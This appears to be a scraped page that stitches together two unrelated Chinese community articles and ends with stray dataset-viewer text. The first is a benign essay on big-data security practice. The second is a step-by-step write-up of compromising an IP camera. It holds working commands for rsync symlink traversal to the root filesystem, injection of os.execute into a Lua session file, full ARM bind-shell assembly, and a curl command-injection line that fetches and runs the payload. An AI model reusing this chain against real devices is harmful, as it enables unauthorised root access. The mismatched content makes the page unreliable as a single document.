译文仅供参考，具体内容表达以及含义原文为准。
## 一、识别
基本概念上的分类分级，数据密级这些策略我就不谈了，假设大家都懂，不懂随便找点资料也能看明白。我们说一些技术工具上的事情，因为这些才是支撑上层策略体系的手段，没有技术只能靠人肉，对于大公司来说不现实。
### 1、发现
数据安全的第一步是数据发现，没有这个基础，后面所有的策略都会陷入数据的太平洋。数据发现和识别一路走到今天，大体上有这么几种：
人肉：人工梳理，适用于小数据场景。我以前对一切人肉方法都嗤之以鼻，后来在群里被大佬教育，不看场景说方案都是耍流氓，例如有个药厂，核心数据就是配方，就那几个产品，完全可以通过人肉来做，说的对。另外在某些阶段，人肉也有意义，比如之前压根没数据安全，历史存量是不是要梳理一波。但对大型企业，这个方法就有问题了，某运营商之前起了个大项目，做全集团的数据梳理和分级，结果如何大概也只能自己知道。数据是动态的，人肉运动搞得了一时而已。一个大型企业，每天产生的数据至少几十万起，你要让每个数据生产者正确的理解并标记密级是不现实的。
静态梳理：所谓静态，主要是在持久化存储上扫描识别，例如关系型DB、数仓ODS、终端、文件存储等。
动态识别：在流量、接口等各类行为上识别。
当然识别完了以后，还要有个可视化，知道敏感数据的所在位置和流向，观察是否符合预期。
### 2、分类分级
在哪里识别这件事不难，难在识别的对不对，也就是误报率。技术上结构化数据的正则匹配是个基础姿势，无论是AWS、Google还是阿里云的数据保护伞，基本上都以此为主+人工，在云上这些方法都是适用的，因为按照责任模型，你定义错了是你的问题，和云无关，云厂商又不要投入人力来帮你分类分级，给你个工具你自己用去吧，但甲方就走不通了。
所以目前延伸出很多技术，大体有正则、语义、指纹、统计、情景、机器学习等方法。方法各有优缺点，不同场景有不同的适用方法，不存在完美的解决方案。
### 3、数据血缘
数据血缘关系最初是用来判断上游血缘链路的，例如一个指标的生成出了问题，要根据血缘链路追溯上游，找到问题所在。又或者上游表发生变化时，需要评估对下游影响，需要根据根据下游血缘链路确定哪些下游任务受到影响。
血缘有表血缘，也有行级、列级血缘，这方面在大数据使用中都有一些对用的技术和实践，但在安全上并不完全能等同。一张表在经过若干次生产后，其敏感级别会产生变化，例如原来是一张用户订单明细，属于高敏感，但经过加工后的聚合数据只是一个特征，这在安全上是降级的。如果严格按照血缘关系来看，这也是属于高敏感，但这样传递下去，下游任何表都是高敏感，数据就没法再分析了。因此，数据需要血缘剪枝，根据一些规则，去除一些无需关注的下游。有些公司在这方面采用比较粗暴的方法，原始表什么敏感级别，血缘就是什么敏感级别，我认为这是不妥的。
本质上血缘是一个语意解析的事情，包括逻辑血缘（列），谓语血缘（行）。逻辑上又分准确血缘，模糊血缘，模糊是指不明确的计算逻辑推测出的血缘，比如用户自定义UDTF，transform脚本（所有输入影响所有输出）得到的血缘，这里还有更多的算子、多对一、多对多、函数、limit等就不再多说。还有一部分需要关心的是，由于历史上是先有大数据系统，再有安全，所以整个大数据系统上有各种开源组件组成，所以血缘关系要能够同时支持hive、mysql、spark、kylin、presto等组件，否则血缘断裂，审计跟踪不下去。
## 二、保护
保护上目前流行的做法无外乎认证、授权、加密、脱敏等，常规的内容我不再重复科普，说一些实战中要注意的问题。
### 1、认证
一般认证与kerberos，AD之类的结合看起来是常规动作，但还是刚才我提到的问题，先有大数据系统再有安全，所以认证层面要做到各个组件全打通。系统历史越久，轮子造的越多，这个债务越重。离线上有hive、spark、presto等，同时还有各类离线客户端，也包括关系型数据库mysql等。实时上有Kafka、storm、flink，各类sdk等。也就是说，如果你是新建系统，最好是把这些进行统一认证统一授权，不然将来做权限迁移的时候，又要考虑历史生产，又要考虑同步，做起来就很难受了。当然现在日子好过多了，有Sentry这样帮你做统一管理的工具。找了张厂商的图，找一下感觉：
一看到这图，对不熟悉的人来说会懵，没办法，大数据架构就是看起来会比较复杂。我稍微解释下：
外部数据流通过Flume和Kafka的机制进行身份验证，使用Sqoop拉取来自存量数据。BI使用Hue等接口和群集交互，或者用Impala提交作业。而这里所有组件都需要有统一认证。需要注意的是，这只是一个厂商，而在大规模实际生产中，组件情况比这个多的多。其中也用到了Sentry和HDFS访问控制列表来执行授权。
当然更真实的可能是下面这样，请你考虑对以下所有组件做统一验证和授权。
### 2、授权
开源授权体系里，主要是Sentry和Ranger两个项目，Cloudera用的是Sentry，是一种RBAC机制，华为的FusionInsight也是类似机制。先创建角色，将每个组件权限授予角色，在用户中添加角色。
Ranger是 PBAC，基于策略管理，Hortonworks用的Range。每个组件添加服务Service，然后添加自定义策略，再添加用户访问权限。
和统一验证一样，问题也是由于组件的多样性、历史存量问题，导致统一授权需要高速上一边开车一边换轮子。由于集群的每一个组件都有自己的授权模式，所以会导致整个复杂性增加，增加了很多漏洞。有问题的地方就有机会，所以一些厂商和开源组织在做统一验证和授权。
授权还有一个需要考虑的点，我前面举到例子，上海大区应该只看到上海区的数据，这就是行级权限的问题，在实际生产中有很多这种场景，也需考虑。
### 3、加密
加密按照架构有多种，从磁盘加密到块加密到文件加密。HDFS可以加密写入磁盘的所有数据，但这只是一个粗粒度，能够防止磁盘被盗或者被人copy，这个保护级别是全有或全无的方法，在企业内部应用中，磁盘被盗这种事情的几率不大，相对于应用级，这个保护的优先级也不高。在云中，由于信任模型的关系，是个必选。
应用级的细粒度加密是针对真正实际数据的保护，通过实际更改数据的值，即使数据被未授权读取，数据也能受到保护，比如可以对手机号码进行加密。因此在我看来，企业内的使用，应用字段级的加密比底层加密重要。
加密还有一个最大的挑战，就是线上系统和离线系统的不同加密方式。我们都知道线上DB需要做加密，通常是可逆的AES算法，但在数据进入离线后，由于DB和数仓完全两种不同的身份，DB的加密是面向服务的，数仓的加密是面向用户和生产组的，两者无法统一。这种问题有几个解决方式：
一是不解密，线上DB加密后，进到数仓不解密，只允许使用密文。这个方法会带来不同业务之间难以join，因为线上不同业务的密钥不同。
二是数仓作为一个服务统一调用解密服务，在DB加密，在数仓边界解密。我了解到华为是这种做法，但华为的数据体量相对BAT比较小（消息渠道未必可靠，仅供参考），而这个方法是在数据同步主链路上增加解密成本，当加密较为复杂情况时候，实时性和准确性很难保证，你要知道即使没有加解密，同步数据都有数据漂移，更何况还有加解密。加密复杂是什么意思呢，DB有些加密方法是字段级加密，每个字段一个密钥，这样解数据的时候，要有开发指定，要去调用密钥，所以风险比较大。
三是DB自行负责在数仓边界解密，数仓在内部用自己的方法再做加密。相比上面多了一个数仓加密的动作。至于amazon和Google，我没看到他们涉及数仓应用层加密。
四是采用token化+FPE方法，与加密有区别，token
化是指把数据同格式替换，例如手机号13911118888会被替换成139abcde888，保留了部分可读性和唯一性，这样在数仓内无需解密，即可进行数据匹配。当某些特殊情况下需要解密，由专门的服务提供脱离数仓的解密。而且我认为，对于手机号、银行卡等的解密需求，都是伪需求，没有什么情景是“真正”需要明文解密的。这种方法要求在全公司统一强制token化，安全部门必须足够强势，历史要清白，不然从以前的加密切换为token，涉及到双写、刷下游，很伤安全部人品。
### 4、共享
共享才是数据流动的核心，试想我前面提到的问题，在双方互不信任的前提下，如何做到数据共享流动创造价值？但目前说实话，可操作的方法不多，大概有几种。
一是堡垒机形式，这方面阿里七星阵，或者有些公司的阳光屋安全屋都是这个方法，由于堡垒机限制了数据落地，加上安全META写不出去，因此形成了一个数仓内的安全交换仓。但这种方法也很显然存在问题，方法比较重，在大规模企业数据交换的时候，堡垒机、虚拟机的易用性会形成极大瓶颈，据我所知阿里七星阵当年也很难推广使用的下去，不知道现在的七星阵是不是有了什么变化，不过目前我看到阿里云上有一个说法：数据不搬家，可用不可见，意思是在交换空间计算后，需要经过授权才能搬走，这在云上是可行的。
二是细粒度授权，我在阿里云博客上看到的方法，其分为package和Trusted两种模式，package如下图，数据需方需要获得package的权限、package是否可以安装、package内资源的访问限制三层校验。我没有实际操作过，问题是如防止租户B把数据写出去到其他地方？潜在的问题是，虽然我获得了供方授权，但并不意味着这个数据我可以随便拿到其他地方用。Trusted模式就不展开说了，见<https://yq.aliyun.com/articles/61530?spm=a2c4e.11153940.blogcont78108.287.157733b6hpvMGo>。
三是可用不可见，这个提法也是阿里提出来的（阿里还是厉害啊），我找不到原文了，但大概意思是说，数据是经过脱敏的，虽然你可以查询可以计算，但并不能获得明文，因此可用，但不可见。这种对部分场景是可用的，比如涉及到个人身份的敏感数据，但如果是复杂一些的场景，例如订单金额、地理位置的模型计算，这种方法就行不通了。
四是一些新方法，例如同态加密，只不过在工程实现上还有很大差距，存储也会极度膨胀，现阶段还难以扛起重任。
## 三、审计
数仓也是数据库的一种，市面上有很多数据库审计产品，但数据库审计的产品用在大数据上，恕我直言，都是垃圾，我觉得厂商应该把自己的审计产品线向大数据延伸了，老在数据库那点空间纠缠有啥意思。
作为数据最集中的数仓，一旦泄漏，情况最危险，而这种泄漏侦测的难度远大于传统审计方法，数仓里的sql语句是极为复杂的，要想从语句和代码里提炼出风险，那解析能力得有多强，话说解析能力这么强了，还干啥安全啊真是，生产场景更需要。
但并不是没有方法，我们换个名词，就不一样了，UEBA、态势感知，各位觉得如何，明显高大上了吧。借用BeyondCorp的理论，风险从用户、环境、行为的角度来去看，这样比从sql里的大海捞针，明显有效果。实际上这里的风险发现，很多手法上和风控是一脉相承的，只不过一个是面向黑产，一个是面向租户。
用户风险，是指那些可能高危的用户群，例如BD，HR，财务等，BD为啥是高风险呢，你猜啊。在一个规模公司里，如果你的数仓审计，发现不到BD干的那些事情，我认为就是不及格。用户风险还包括关系圈，与黑产、与竞对、与物流、资金流、信息流的关系，都可以代表某种程度的风险，甚至直接指向泄漏。
环境风险也好理解，设备、网络、指纹等，所以要在审计上关联出这些丰富字段来辅助报警，我举个例子，同一设备两个不同IDE用户，7个不同大区的BD聚集在竞对LBS等等，都是可以从环境延伸出来的规则。这方面多和风控同学学习。
行为风险，则是操作上的各种风险了，这里的难点其实在于日志打点，什么操作是高危的，就要有打点，高危操作后续的关联动作，可以延伸出规则。更大一些，则和全局日志关联，结合权限、资产，能够得出操作风险。
用户、环境、行为的结合，能够得出最终结论。换句话说，能不能审的出来问题，主要看你拿了多少有价值数据，其次才是规则模型。再往后再能谈到覆盖率、准确率、召回率这些指标。
我面试过很多人，问到他们审计的情况，大概都是一年发现个一两例这种级别，嗯，约等于零。你要知道在一个大型企业里，跃跃欲试并且屡屡得手的情况，其实是很多的，只是你看不见而已。
关于审计这部分比较敏感，也不再多说，给大家提供一些思路而已。
## 六、总结
前面说了很多，我把要点总结一下，以下只针对大规模企业，希望对大家有所帮助：
1、 大数据安全目前没有好的方法论，都是摸索前行。
2、 数据分类分级很重要，但前提是非结构化自动识别能力达到可用状态。
3、 统一验证和授权，越早做越好，难点在于半道上的安全。
4、 数据加密的难点在于线上db和离线的统一。
5、 数据共享技术亟待突破。
6、 审计要用新思维。
7、 数据安全即是当前热点，也是技术侧即将爆发的前夜。 | 社区文章 |
Author: [**Ricterz**](https://ricterz.me/)
闲来无事，买了一个某品牌的摄像头来 pwn 着玩（到货第二天就忙成狗了，flag 真是立的飞起）。 本想挖一挖二进制方面的漏洞，但是死性不改的看了下
Web，通过一个完整的攻击链获取到这款摄像头的 root 权限，感觉还是很有意思的。
### 0x00
配置好摄像头连上内网后，首先习惯性的用 nmap 扫描了一下端口。
>>> ~ nmap 192.168.1.101 -n -v --open
Starting Nmap 7.12 ( https://nmap.org ) at 2016-11-01 12:13 CST
Initiating Ping Scan at 12:13
Scanning 192.168.1.101 [2 ports]
Completed Ping Scan at 12:13, 0.01s elapsed (1 total hosts)
Initiating Connect Scan at 12:13
Scanning 192.168.1.101 [1000 ports]
Discovered open port 80/tcp on 192.168.1.101
Discovered open port 554/tcp on 192.168.1.101
Discovered open port 873/tcp on 192.168.1.101
Discovered open port 52869/tcp on 192.168.1.101
Completed Connect Scan at 12:13, 0.35s elapsed (1000 total ports)
Nmap scan report for 192.168.1.101
Host is up (0.051s latency).
Not shown: 996 closed ports
PORT STATE SERVICE
80/tcp open http
554/tcp open rtsp
873/tcp open rsync
52869/tcp open unknown
Read data files from: /usr/local/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.41 seconds
除了 554、80，居然发现了一个 873 端口。873 是 rsync 的端口，一个摄像头居然开启了这个端口，感觉到十分的费解。 查看了下 rsync
的目录，发现有密码，暂时搁置。
>>> ~ rsync 192.168.1.101:: 12:22:03
usb rsync_mgr
nas rsync_mgr
>>> ~ rsync 192.168.1.101::nas 12:22:06
Password:
@ERROR: auth failed on module nas
rsync error: error starting client-server protocol (code 5) at /BuildRoot/Library/Caches/com.apple.xbs/Sources/rsync/rsync-51/rsync/main.c(1402) [receiver=2.6.9]
Web 端黑盒没有分析出漏洞，同样暂时搁置。 不过暂时发现有意思的一点，这个摄像头可以挂载 NFS。
### 0x01
下面着手分析固件。 在官网下载固件后，用 firmware-mod-kit 解包。
`/home/httpd` 存放着 Web 所有的文件，是 lua 字节码。file 一下发现是 lua-5.1 版本的。 利用 `unluac.ja`r
解码得到 Web 源码。 本以为会有命令执行等漏洞，因为会有 NFS 挂载的过程。但是并没有找到所谓的漏洞存在。 同时看了下 rsync
配置文件，发现密码为 `ILove****`：
但是尝试查看内容的时候提示 chdir faild，难道说这个文件不存在？
>>> ~/D/httpd rsync [email protected]::nas --password-file /tmp/p
@ERROR: chdir failed
rsync error: error starting client-server protocol (code 5) at /BuildRoot/Library/Caches/com.apple.xbs/Sources/rsync/rsync-51/rsync/main.c(1402) [receiver=2.6.9]
突然有个猜想划过脑海。于是我搭建了一个 NFS 服务器，然后配置好摄像头 NFS：
再次运行 rsync：
>>> ~/D/httpd rsync [email protected]::nas --password-file /tmp/p
drwxrwxrwx 4096 2016/11/01 12:35:47 .
drwxr-xr-x 4096 2016/11/01 12:35:47 HN1A009G9M12857
Bingo！
### 0x02
rsync 目录限制在 `/mnt/netsrv/nas 了`，如何绕过呢。 symbolic link 来帮你_(:3」∠)_ 愚蠢的 rsync
并没有设置 chroot，于是我可以直接创建一个指向 / 的符号链接，然后可以访问任意目录。
>>> ~/D/httpd rsync --password-file /tmp/p [email protected]::nas/HN1A009G9M12857/pwn/
drwxr-xr-x 216 2016/07/23 11:28:55 .
lrwxrwxrwx 11 2016/07/23 11:28:43 linuxrc
lrwxrwxrwx 9 2016/07/23 11:28:55 tmp
drwxr-xr-x 971 2016/07/23 11:28:56 bin
drwxrwxrwt 10620 1970/01/01 08:00:10 dev
drwxr-xr-x 603 2016/07/23 11:28:55 etc
drwxr-xr-x 28 2016/07/23 11:28:43 home
drwxr-xr-x 1066 2016/07/23 11:28:56 lib
drwxr-xr-x 60 2016/07/23 11:27:31 mnt
dr-xr-xr-x 0 1970/01/01 08:00:00 proc
drwxr-xr-x 212 2016/07/23 11:28:56 product
drwxr-xr-x 3 2016/07/23 11:27:31 root
drwxr-xr-x 250 2016/07/23 11:28:43 sbin
drwxr-xr-x 0 1970/01/01 08:00:01 sys
drwxr-xr-x 38 2016/07/23 11:27:31 usr
drwxr-xr-x 50 2016/07/23 11:28:55 var
正当我愉快的打算 rsync 一个 lua 的 shell 到上面时，却发现除了`/tmp/`，整个文件系统都不可写。 嘛，没关系，我们还有 Web
源码可以看。
local initsession = function()
local sess_id = cgilua.remote_addr
if sess_id == nil or sess_id == "" then
g_logger:warn("sess_id error")
return
end
g_logger:debug("sess_id = " .. sess_id)
setsessiondir(_G.CGILUA_TMP)
local timeout = 300
local t = cmapi.getinst("OBJ_USERIF_ID", "")
if t.IF_ERRORID == 0 then
timeout = tonumber(t.Timeout) * 60
end
setsessiontimeout(timeout)
session_init(sess_id)
return sess_id
end
initsession 函数创建了一个文件名为 IP 地址的 session，文件储存在 /tmp/lua_session
>>> ~/D/httpd rsync --password-file /tmp/p [email protected]::nas/HN1A009G9M12857/pwn/tmp/lua_session/
drwxrwxr-x 60 2016/11/01 12:11:12 .
-rw-r--r-- 365 2016/11/01 12:35:55 192_168_1_100.lua
同步回来，加一句 os.execute(cgilua.POST.cmd);，然后同步回去。
看起来已经成功执行了命令。但是我尝试了常见的 whoami、id 等命令，发现并不存在，通过 sh 反弹 shell 也失败了。感觉很尴尬233333
### 0x03
通过收集部分信息得知摄像头为 ARM 架构，编写一个 ARM 的 bind shell 的 exp：
void main()
{
asm(
"mov %r0, $2\n"
"mov %r1, $1\n"
"mov %r2, $6\n"
"push {%r0, %r1, %r2}\n"
"mov %r0, $1\n"
"mov %r1, %sp\n"
"svc 0x00900066\n"
"add %sp, %sp, $12\n"
"mov %r6, %r0\n"
".if 0\n"
"mov %r0, %r6\n"
".endif\n"
"mov %r1, $0x37\n"
"mov %r7, $0x13\n"
"mov %r1, %r1, lsl $24\n"
"add %r1, %r7, lsl $16\n"
"add %r1, $2\n"
"sub %r2, %r2, %r2\n"
"push {%r1, %r2}\n"
"mov %r1, %sp\n"
"mov %r2, $16\n"
"push {%r0, %r1, %r2}\n"
"mov %r0, $2\n"
"mov %r1, %sp\n"
"svc 0x00900066\n"
"add %sp, %sp, $20\n"
"mov %r1, $1\n"
"mov %r0, %r6\n"
"push {%r0, %r1}\n"
"mov %r0, $4\n"
"mov %r1, %sp\n"
"svc 0x00900066\n"
"add %sp, $8\n"
"mov %r0, %r6\n"
"sub %r1, %r1, %r1\n"
"sub %r2, %r2, %r2\n"
"push {%r0, %r1, %r2}\n"
"mov %r0, $5\n"
"mov %r1, %sp\n"
"svc 0x00900066\n"
"add %sp, %sp, $12\n"
"mov %r6, %r0\n"
"mov %r1, $2\n"
"1: mov %r0, %r6\n"
"svc 0x0090003f\n"
"subs %r1, %r1, $1\n"
"bpl 1b\n"
"sub %r1, %sp, $4\n"
"sub %r2, %r2, %r2\n"
"mov %r3, $0x2f\n"
"mov %r7, $0x62\n"
"add %r3, %r7, lsl $8\n"
"mov %r7, $0x69\n"
"add %r3, %r7, lsl $16\n"
"mov %r7, $0x6e\n"
"add %r3, %r7, lsl $24\n"
"mov %r4, $0x2f\n"
"mov %r7, $0x73\n"
"add %r4, %r7, lsl $8\n"
"mov %r7, $0x68\n"
"add %r4, %r7, lsl $16\n"
"mov %r5, $0x73\n"
"mov %r7, $0x68\n"
"add %r5, %r7, lsl $8\n"
"push {%r1, %r2, %r3, %r4, %r5}\n"
"add %r0, %sp, $8\n"
"add %r1, %sp, $0\n"
"add %r2, %sp, $4\n"
"svc 0x0090000b\n"
);
}
编译：
arm-linux-gcc 2.c -o 2 -static
通过 rsync 扔到 /tmp 目录，然后跑起来：
rsync --password-file /tmp/p 2 [email protected]::nas/HN1A009G9M12857/pwn/tmp/
curl http://192.168.1.101 --data "cmd=wget%20192.168.1.100:2333/`/tmp/2%26`"
连接 4919 端口：
Pwned
[原文链接](https://ricterz.me/posts/Pwn%20A%20Camera%20Step%20by%20Step%20%28Web%20ver.%29?_=1478004967677)
* * * | 社区文章 |
Subsets and Splits
No saved queries yet
Save your SQL queries to embed, download, and access them later. Queries will appear here once saved.